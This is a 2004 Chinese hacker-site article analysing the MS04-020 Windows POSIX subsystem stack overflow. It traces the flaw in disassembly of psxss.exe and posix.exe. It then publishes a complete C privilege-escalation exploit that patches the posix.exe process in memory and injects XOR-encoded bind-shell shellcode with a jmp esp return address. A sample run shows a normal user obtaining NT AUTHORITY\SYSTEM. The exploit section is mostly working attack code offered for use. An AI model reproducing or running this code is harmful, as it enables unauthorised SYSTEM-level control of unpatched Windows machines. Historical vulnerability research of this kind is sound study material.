快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- 编程技术
- **安全技术** <=
- 业界动态

本类热门
- 如何利用黑客技术跟踪并分析一名目标人物
- 有关无线安全与黑客的话题
- 让我们回归(by 默难)
- 通用ShellCode深入剖析[转]
- Format String 漏洞介绍/总结(一)
- 结合实例解读ELF文件-阅读笔记(1)

windows POSIX 子系统权限提升漏洞分析以及利用(v 1.0)

提交文章： bkbll
提交日期： 2004-07-16
文章属性： 原创
文档类别： 安全技术
浏览次数： 今7次/总2968次

---

windows POSIX 子系统权限提升漏洞分析以及利用(v 1.0)
by bkbll (bkbll#cnhonker.net) http://www.cnhonker.com

一. 漏洞介绍
microsoft 的MS04-020公告描述了POSIX子系统的权限提升漏洞,公告地址:
http://www.microsoft.com/technet/security/bulletin/MS04-020.mspx
CVE 公告:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0210

很明显,这是一个本地权限提升的漏洞,存在于POSIX子系统中.
二. 漏洞分析
microsoft的POSIX系统由一个psxss的进程负责处理, posix.exe运行起来的程序会通过LPC来和psxss通讯,
psxss进程的权限是SYSTEM, 很不幸的是,posix.exe传递给psxss的数据中,如果包含过长的字符串会导致psxss一个
堆栈溢出,如果我们精心构造这些字符串,很明显会得到SYSTEM权限的控制权.
出问题的地方在psxss.exe的在sub_4A7861BE处:

```
+-------------------------------------------------------------------------------+
.text:4A7861BE sub_4A7861BE proc near ; CODE XREF: sub_4A785BBC+175   p
.text:4A7861BE
.text:4A7861BE var_500 = dword ptr -500h
.text:4A7861BE var_400 = dword ptr -400h
.text:4A7861BE var_201 = byte ptr -201h
.text:4A7861BE var_200 = dword ptr -200h
.text:4A7861BE arg_0 = dword ptr 8
.text:4A7861BE arg_4 = dword ptr 0Ch
.text:4A7861BE
.text:4A7861BE push ebp
.text:4A7861BF mov ebp, esp
.text:4A7861C1 sub esp, 500h
.text:4A7861C7 push ebx
.text:4A7861C8 push esi
.text:4A7861C9 push edi
.text:4A7861CA mov eax, large fs:18h
.text:4A7861D0 mov eax, [eax+30h]
.text:4A7861D3 cmp dword ptr [eax+1D4h], 0
.text:4A7861DA jz short loc_4A78620B    ;这里会跳转
.text:4A7861DC mov eax, large fs:18h
.text:4A7861E2 mov eax, [eax+30h]
.text:4A7861E5 push offset dword_4A7814A4
.text:4A7861EA push dword ptr [eax+1D4h]
```

```
.text:4A7861F0 lea eax, [ebp+var_200]
.text:4A7861F6 push offset aSessions_0 ; "\\Sessions"
.text:4A7861FB push offset aSDS ; "%s\\%d%s"
.text:4A786200 push eax
.text:4A786201 call _sprintf
.text:4A786206 add esp, 14h
.text:4A786209 jmp short loc_4A78621A
.text:4A78620B ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:4A78620B
.text:4A78620B loc_4A78620B: ; CODE XREF: sub_4A7861BE+1C   j
.text:4A78620B mov esi, offset dword_4A7814A4
.text:4A786210 lea edi, [ebp+var_200]
.text:4A786216 movsd
.text:4A786217 movsd
.text:4A786218 movsd
.text:4A786219 movsb
.text:4A78621A
.text:4A78621A loc_4A78621A: ; CODE XREF: sub_4A7861BE+4B   j
.text:4A78621A mov eax, [ebp+arg_4]
.text:4A78621D or ebx, 0FFFFFFFFh
.text:4A786220 mov ecx, ebx
.text:4A786222 lea edx, [ebp+var_200]
.text:4A786228 mov edi, [eax+4]     ;eax+4是LPC传递过来的数据
.text:4A78622B xor eax, eax
.text:4A78622D repne scasb
.text:4A78622F not ecx         ;计算大小
.text:4A786231 sub edi, ecx
.text:4A786233 mov esi, edi
.text:4A786235 mov edi, edx
.text:4A786237 mov edx, ecx
.text:4A786239 mov ecx, ebx
.text:4A78623B repne scasb
.text:4A78623D mov ecx, edx
.text:4A78623F dec edi
.text:4A786240 shr ecx, 2
.text:4A786243 rep movsd
.text:4A786245 mov ecx, edx
.text:4A786247 lea edx, [ebp+var_400]
.text:4A78624D and ecx, 3
.text:4A786250 rep movsb         ;直接拷贝给ebp-0x200处的buffer

............
...........

+------------------------------------------------------------------------------+
```

引起漏洞的地方类似:

```
unsigned char buf[0x200]

....

memcpy(buf,MessageData,strlen(MessageData));
...
```

从这里我们可以看出只要我们的MessageData大小>0x200, 就可以覆盖ebp,eip等结构.

经过调试分析我们可以知道这个MessageData其实是用户运行posix程序所在当前的路径.
比如我们在d:\aaa\目录下运行posix /P c:\winnt\system32\pax.exe /C pax 的话,MessageData的内容就是d:\aaa
并且在前面加上"\DosDevices\".

因为windows下默认目录长度最大只能到256,似乎不能触发这个漏洞,其实不然.因为数据是通过LPC传递过去的,
我们完全可以伪造这个数据.

要利用这个漏洞有如下几个办法:
1. 自己伪造LPC请求,然后传递我们伪造的数据.
2. 利用HOOK技术,hook posix.exe程序的获得当前路径GetCurrentDirectoryA API调用.返回超长的字符串.
3. 静态修改posix.exe,直接让程序传递我们的数据

4. 动态修改进程内部空间,动态申请内存空间,然后写数据,再让程序传递我们的数据.

1的难度是可想而知的.psxss 的LPC通讯是由3个port来进行的,想完全模拟这三个port的数据实在太难.
2的话HOOK不是我的特长,而且假设传递给GetCurrentDirectoryA API的第二个参数<0x200怎么办的问题比较难处理.
3的话比较容易,但调试不方便,而且担心修改的程序会出错.
4的话比较直接,传递的数据由我们掌握控制(谢谢eyas的idea @.@).

我们来看看posix.exe负责传递数据的地方:

```
+-------------------------------------------------------------------------------+
.text:0100343D mov edi, offset dword_10126B8
.text:01003442 push edi
.text:01003443 push 105h
.text:01003448 call GetCWD <--- 这里会调用GetCurrentDirectoryA()
.text:0100344D push [esp+1Ch+arg_8]
.text:01003451 push esi
.text:01003452 push [esp+24h+arg_0]
.text:01003456 push edi
.text:01003457 push ebp
.text:01003458 push [esp+30h+arg_4]
.text:0100345C call StartProcess
.text:01003461 test eax, eax
.text:01003463 jnz short loc_1003475
.text:01003465 push 5
+-------------------------------------------------------------------------------+
.text:01003514 GetCWD proc near ; CODE XREF: main+177   p
.text:01003514
.text:01003514 FindFileData = _WIN32_FIND_DATAA ptr -140h
.text:01003514 nBufferLength = dword ptr 4
.text:01003514 lpBuffer = dword ptr 8
.text:01003514
.text:01003514 sub esp, 140h
.text:0100351A push ebx
.text:0100351B push ebp
.text:0100351C push esi
.text:0100351D mov esi, [esp+14Ch+lpBuffer]
.text:01003524 push edi
.text:01003525 push esi ; lpBuffer
.text:01003526 push [esp+154h+nBufferLength] ; nBufferLength
.text:0100352D call ds:_imp__GetCurrentDirectoryA
.text:01003533 movsx eax, byte ptr [esi]
.text:01003536 push eax ; int
.text:01003537 call toupper
.text:0100353C pop ecx
.text:0100353D mov [esi], al
.text:0100353F push 5Ch ; int
.text:01003541 push esi ; char *
.text:01003542 call strchr
.text:01003547 mov ebp, eax
.text:01003549 pop ecx
.text:0100354A test ebp, ebp
.text:0100354C pop ecx
.text:0100354D jz short loc_10035B4
.text:0100354F inc ebp
.text:01003550
.text:01003550 loc_1003550: ; CODE XREF: GetCWD+99   j
.text:01003550 push 5Ch ; int
.text:01003552 push ebp ; char *
.text:01003553 call strchr
.text:01003558 mov ebx, eax
.text:0100355A pop ecx
.text:0100355B test ebx, ebx
.text:0100355D pop ecx
.text:0100355E jz short loc_1003563
.text:01003560 and byte ptr [ebx], 0
.text:01003563
.text:01003563 loc_1003563: ; CODE XREF: GetCWD+4A   j
.text:01003563 lea eax, [esp+150h+FindFileData]
.text:01003567 push eax ; lpFindFileData
.text:01003568 push esi ; lpFileName
.text:01003569 call ds:_imp__FindFirstFileA
```

```
.text:0100356F cmp eax, 0FFFFFFFFh
.text:01003572 jz short loc_10035AF
.text:01003574 push eax ; hFindFile
.text:01003575 call ds:_imp__FindClose
.text:0100357B lea edi, [esp+150h+FindFileData.cFileName]
.text:0100357F or ecx, 0FFFFFFFFh
.text:01003582 xor eax, eax
.text:01003584 repne scasb
.text:01003586 not ecx
.text:01003588 sub edi, ecx
.text:0100358A mov eax, ecx
.text:0100358C mov esi, edi
.text:0100358E mov edi, ebp
.text:01003590 shr ecx, 2
.text:01003593 rep movsd
.text:01003595 mov ecx, eax
.text:01003597 and ecx, 3
.text:0100359A test ebx, ebx
.text:0100359C rep movsb
.text:0100359E jz short loc_10035B4
.text:010035A0 mov esi, [esp+150h+lpBuffer]
.text:010035A7 mov byte ptr [ebx], 5Ch
.text:010035AA lea ebp, [ebx+1]
.text:010035AD jmp short loc_1003550
.text:010035AF ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
哪哪哪哪哪哪?
.text:010035AF
.text:010035AF loc_10035AF: ; CODE XREF: GetCWD+5E   j
.text:010035AF or eax, 0FFFFFFFFh
.text:010035B2 jmp short loc_10035B6
.text:010035B4 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
哪哪哪哪哪哪?
.text:010035B4
.text:010035B4 loc_10035B4: ; CODE XREF: GetCWD+39   j
.text:010035B4 ; GetCWD+8A   j
.text:010035B4 xor eax, eax
.text:010035B6
.text:010035B6 loc_10035B6: ; CODE XREF: GetCWD+9E   j
.text:010035B6 pop edi
.text:010035B7 pop esi
.text:010035B8 pop ebp
.text:010035B9 pop ebx
.text:010035BA add esp, 140h
.text:010035C0 retn 8
.text:010035C0 GetCWD endp
+------------------------------------------------------------------------------+
```

从这里看出,程序获得当前路径存放在.data区的0x10126B8处(edi寄存器),StartProcess的参数,让该函数来处理封装并且处理LPC.

```
.text:0100343D mov edi, offset dword_10126B8
.text:01003442 push edi
.text:01003443 push 105h
.text:01003448 call GetCWD <--- 这里会调用GetCurrentDirectoryA()
.text:0100344D push [esp+1Ch+arg_8]
.text:01003451 push esi
.text:01003452 push [esp+24h+arg_0]
.text:01003456 push edi
.text:01003457 push ebp
.text:01003458 push [esp+30h+arg_4]
.text:0100345C call StartProcess
```

从上面的汇编来看,我们非常容易就能做到欺骗:

```
.text:0100343D mov edi, OurDataAddr
.text:01003442         jmp 0100344D
.
.
.
.
.text:0100344D push [esp+1Ch+arg_8]
.text:01003451 push esi
.text:01003452 push [esp+24h+arg_0]
.text:01003456 push edi
.text:01003457 push ebp
```

.text:01003458 push [esp+30h+arg_4]
.text:0100345C call StartProcess

这样就完全Ok了.
这里流程就比较明显了:
CreateProcess() with CREATE_SUSPENDED arg -> VirtualAllocEx() -> VirtualProtectEx()
-> WriteProcessMemory() (写我们的shellcode) ->
VirtualProtectEx() (修改.text区的页权限) -> WriteProcessMemory() (动态修补程序流程) ->
ResumeThread()

我采取的是覆盖eip的方法,使用jmp esp方法.
shellcode这边就比较简单了,我用的是bind port,然后再本地连接过去.

不过这里需要注意的是jmp esp的时候,千万要记住要保持esp 四字节对齐,让esp是4的倍数,
不然shellcode会出现莫名其妙的结果,一定要注意.

三. exploit:

```
/* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit
*
* Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED
*
* Posixexp.c By bkbll (bkbll#cnhonker.net,bkbll#tom.com) http://www.cnhonker.com
*
* 2004/07/16
*
* thanks to eyas#xfocus.org
*
*
C:\>whoami
VITUALWIN2K\test

C:\>posixexp
Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
By bkbll (bkbll#cnhonker.net,bkbll#tom.com) http://www.cnhonker.com

pax: illegal option--h
Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte
pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]
[-t device] [-x format] [pathname...]
pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory

For more information on pax syntax, see Command Reference
Help in the Windows Help file.Remote addr:0x7ff90000
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有  1985-2000 Microsoft Corp.

C:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>exit
[+] Connection closed in exit command.

C:\>

*/

#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

#define PATCHADDR 0x0100343D        //需要动态修改posix.exe的位置
#define MEMSIZE 0x350
#define CODESIZE 50
#define bind_port_offset 116
#define RETADDR 0x796E9B53 //advapi32.dll jmp esp
// [ebp-0x200] [saved ebp] [saved eip]
#define EIPLOCATION 0x200+4-12    //12是"\DosDevices\"的长度
#define CANWRITEADDR 0x7ffdf02c     //该地址+0x20要可写
```

```
#define VERSION "1.0"

unsigned short bindport = 60000;

unsigned char jmpcode[]=
"\x33\xC0"        //xor eax,eax
"\x66\xB8\xc0\x01"    //mov ax,0x1ff
"\x40"            //inc eax
"\x2B\xE0"        //sub esp,eax
"\xFF\xE4"        //jmp esp
"\x00";           //\0 zero NULL

unsigned char bind_shell[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff"
/* 302 bytes shellcode, xor with 0xee */
"\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x72\xee\xee\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
"\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xdd\x3c"
"\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x7e\xef\xee\xee\x65\x22\xbf\x86"
"\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xdb\x65"
"\x02\xbf\xbf\xbf\xbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xfe\xbb"
"\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x45\x0c"
"\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x45\x45"
"\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xbc\xbf"
"\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
"\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbf\xb8\x65\x9b"
"\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7"
"\xaf\x43\xed\x2b\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3"
"\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88"
"\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7"
"\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20"
"\x0e\x8e\x43\x37\xeb\x20\x37\xe7\x1b\x43\x4a\xf4\x9e\x29\x4a\x43"
"\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x12\xd5"
;

int readwrite(SOCKET fd);
int client_connect(int sockfd,char* server,int port);

main()
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   LPVOID pdwCodeRemote;
   unsigned int cbMemSize = MEMSIZE;
   DWORD dwOldProtect,dwNumBytesXferred;
   unsigned char buffer[MEMSIZE];
   unsigned int buflen=0;
   unsigned char textbuf[CODESIZE];
   int i;
   unsigned short lports;
   char cmdarg[400];
   char systemdir[MAX_PATH+1];
   WSADATA    wsd;
   SOCKET sockfd;

   printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)
\n",VERSION);
   printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) http://www.cnhonker.com\;n\n");
   if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
   {
      printf("[-] WSAStartup error:%d\n", WSAGetLastError());
      return -1;
   }

   i = GetWindowsDirectory(systemdir,MAX_PATH);
   systemdir[i]='\0';
   _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32
\\pax.exe /C pax -h",systemdir,systemdir);
   //printf("cmdarg:%s\n",cmdarg);
   //exit(0);
```

```
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory( &pi,sizeof(pi));
    //create process
    //先让psxss运行起来
    if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
    {
     printf("CreateProcess1 failed:%d\n", GetLastError());
     return 0;
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    //再运行一次
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory( &pi,sizeof(pi));
    if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0,
&si, &pi))
    {
     printf("CreateProcess2 failed:%d\n", GetLastError());
     return 0;
    }
    //alloc from remote process
    pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL,
cbMemSize,MEM_COMMIT | MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
    if (pdwCodeRemote == NULL)
    {
        TerminateProcess(pi.hProcess,0);
        printf("VirtualAllocEx failed:%d\n",GetLastError());
        return 0;
    }
    printf("Remote addr:0x%08x\n",pdwCodeRemote);
    //we can write and execute
    if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote,
cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect))
    {
        TerminateProcess(pi.hProcess,0);
        printf("VirtualProtectEx failed:%d\n",GetLastError());
        return 0;
    }
    //make shellcode
    lports = htons(bindport)^0xeeee;
    memcpy(bind_shell+bind_port_offset,&lports,2);

    memset(buffer,'\x90',MEMSIZE);
    //memset(buffer,'A',EIPLOCATION);
    buffer[MEMSIZE-1] = '\0';
    i=sizeof(bind_shell)-1;
    if(i >= EIPLOCATION)
    {
        printf("shellcode so large:%d,must < %d\n",i,MEMSIZE);
        TerminateProcess(pi.hProcess,0);
        return 0;
    }
    i=EIPLOCATION-i;
    memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);
    *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //覆盖eip
    *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //覆盖第一个参数
    memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);
    //write in to target
    buflen=MEMSIZE;
    if(!WriteProcessMemory
(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred))
    {
        TerminateProcess(pi.hProcess,0);
        printf("WriteProcessMemory failed:%d\n",GetLastError());
        return 0;
    }
    //modified the process .text
    if(!VirtualProtectEx(pi.hProcess,(LPVOID)
PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect))
    {
        TerminateProcess(pi.hProcess,0);
```

```
        printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError());
        return 0;
    }
    //创建要修补的内容
    i = 0;
    textbuf[i++]='\xbf';
    textbuf[i++]=(DWORD)pdwCodeRemote & 0xff;    //mov edi,pdwCodeRemote
    textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;
    textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
    textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
    //替换跳转指令
    textbuf[i++]='\xeb';
    textbuf[i++]='\x09'; //jmp .+0b
    //写进进程中
    if(!WriteProcessMemory(pi.hProcess,(LPVOID)
PATCHADDR,textbuf,i,&dwNumBytesXferred))
    {
        TerminateProcess(pi.hProcess,0);
        printf("WriteProcessMemory failed:%d\n",GetLastError());
        return 0;
    }
    ResumeThread(pi.hThread);
    Sleep(5);
    sockfd=WSASocket(2,1,0,0,0,0);
    if(sockfd == INVALID_SOCKET)
    {
        printf("[-] WSASocket error:%d\n", WSAGetLastError());
        return -1;
    }
    if(client_connect(sockfd,"127.0.0.1",bindport) < 0)
    {
        closesocket(sockfd);
        printf("[-] Maybe not success?\n");
    }
    readwrite(sockfd);
    TerminateProcess(pi.hProcess,0);
    WaitForSingleObject(pi.hProcess, INFINITE);
}

int readwrite(SOCKET fd)
{
    fd_set fdr1;
    unsigned char buffer[1024];
    int istty,ct1,ct2;
    struct timeval timer;

    memset(buffer,0,sizeof(buffer));
    istty=_isatty(0);
    timer.tv_sec=0;
    timer.tv_usec=0;

    while(1)
    {

        FD_ZERO(&fdr1);
        FD_SET(fd,&fdr1);
        ct1=select(0,&fdr1,NULL,NULL,&timer);
        if(ct1==SOCKET_ERROR)
        {
            printf("[-] select error:%d\n",GetLastError());
            break;
        }
        if(FD_ISSET(fd,&fdr1))
        {
            ct1=recv(fd,buffer,sizeof(buffer)-1,0);
            if((ct1==SOCKET_ERROR) || (ct1==0))
            {
                printf("[-] target maybe close the socket.\n");
                break;
            }
            if(_write(1,buffer,ct1)<=0)
            {
```

```
            printf("[-] write to stdout error:%d\n",GetLastError());
            break;
        }

        memset(buffer,0,sizeof(buffer));
    }
    if(istty)
    {
        if(_kbhit()) /* stdin can read */
        {


            ct1=read(0,buffer,sizeof(buffer)-1);
            if(ct1 <= 0)
            {
                printf("[-] read from stdin error:%d\n",GetLastError());
                break;
            }
            ct2=send(fd,buffer,ct1,0);
            if((ct2==SOCKET_ERROR) || (ct2==0))
            {
                printf("[-] target maybe close the socket.\n");
                break;
            }
            if( strnicmp(buffer, "exit", 4) == 0)
            {
                printf("[+] Connection closed in exit command.\n");
                break;
            }
            memset(buffer,0,sizeof(buffer));
        }
    }
    else
    {
        ct1=read(0,buffer,sizeof(buffer)-1);
        if(ct1<=0)
        {
            printf("[-] read from nontty stdin error:%d\n",GetLastError());
            break;
        }
        ct2=send(fd,buffer,ct1,0);
        if((ct2==SOCKET_ERROR) || (ct2==0))
        {
            printf("[-] target maybe close the socket\n");
            break;
        }
        if( strnicmp(buffer, "exit", 4) == 0)
        {
            printf("[+] Connection closed in exit command.\n");
            break;
        }
        memset(buffer,0,sizeof(buffer));
    }
  }
  return(1);
}


/* 连接指定server 和port */
int client_connect(int sockfd,char* server,int port)
{
  struct sockaddr_in cliaddr;
  struct hostent *host;
  short port2;

  port2=port & 0xffff;

  if((host=gethostbyname(server))==NULL)
  {
    printf("gethostbyname(%s) error\n",server);
    return(-1);
  }
```

```
    memset(&cliaddr,0,sizeof(struct sockaddr));
    cliaddr.sin_family=AF_INET;
    cliaddr.sin_port=htons(port2);
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
    {
        printf("[-] Trying %s:%d error\n",server,port);
        closesocket(sockfd);
        return(-1);
    }
    //printf("ok\r\n");
    return(0);
}
```

四.参考:

1. MSDN
2. http://www.windowsitlibrary.com/Content/356/08/1.html
3. http://www.xfocus.net/articles/200306/545.html

五.结束语:

这个程序只能溢出一次,因为调用posix后,posix会等待自己的LPC port回复,而我在psxss里使用ExitThread()退出了.
导致posix,pax僵死在那里,使用pskill掉后,psxss也会因为自己在三个LPC port上等待而僵死.
而psxss只能运行一次,
kill掉后就无法再次运行.要完全解决这个问题,就需要模拟双方的LPC通讯,让双方都结束LPC的请求过程.但因为比较复杂,
这里就没有进一步研究了.

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net